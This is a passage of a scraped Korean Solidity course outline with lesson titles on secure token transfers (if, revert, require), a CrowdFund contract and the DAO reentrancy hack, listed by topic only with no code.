210 |
211 | 토큰을 전송하는 함수(transfer)에서 조건을 검사해서
212 | 송신자가 자신이 가진 토큰보다 더 많은 토큰을 전송할 수 없게 하자
213 | 토큰 수신자가 보유한 토큰에 Overflow 가 발생하지 않도록 하자.
214 | 					
215 |
217 |
218 | if 문
219 | 					
220 |
222 | UnsecureGeneralWalletCompatibleToken2
223 | UnsecureGeneralWalletCompatibleToken3
224 | UnsecureToken1
225 | UnsecureToken2
226 | UnsecureToken3 227 |
231 |
232 | if 문 만을 사용하면 트랜잭션이 실패한 경우 변경된 상태가 그대로 남게 된다.
233 | 조건이 맞지 않을 때, 트랜잭션을 중지해서 변경된 상태를 모두 이전으로 돌리자.
234 | 					
235 |
237 |
238 | revert
239 | 					
240 |
SecureGeneralWalletCompatibleToken
245 |
246 | if 와 revert 를 사용하면 코드가 장황해진다.
247 | require 로 코드를 간결하게 만들어 보자.
248 | 					
249 |
251 |
252 | require
253 | 					
254 |
SecureGeneralWalletCompatibleToken2
258 | 259 |

CrowdFund

260 | 261 | 262 | 267 | 272 | 273 | 274 |
263 |
264 | CrowdFund 와 토큰 컨트랙간의 인터랙션 이해하기
265 | 					
266 |
268 |
269 | Transaction 과 Message 구분하기
270 | 					
271 |
CrowdFund
275 | 276 |

DAO Hacking - Reentrant Problem

277 | 278 | 279 | 284 | 289 | 290 | 291 |
280 |
281 | Unsecure Token 해킹하기
282 | 					
283 |
285 |
286 | account.call 의 동작 원리
287 | 					
288 |
DaoHack
292 | 293 | 294 | --------------------------------------------------------------------------------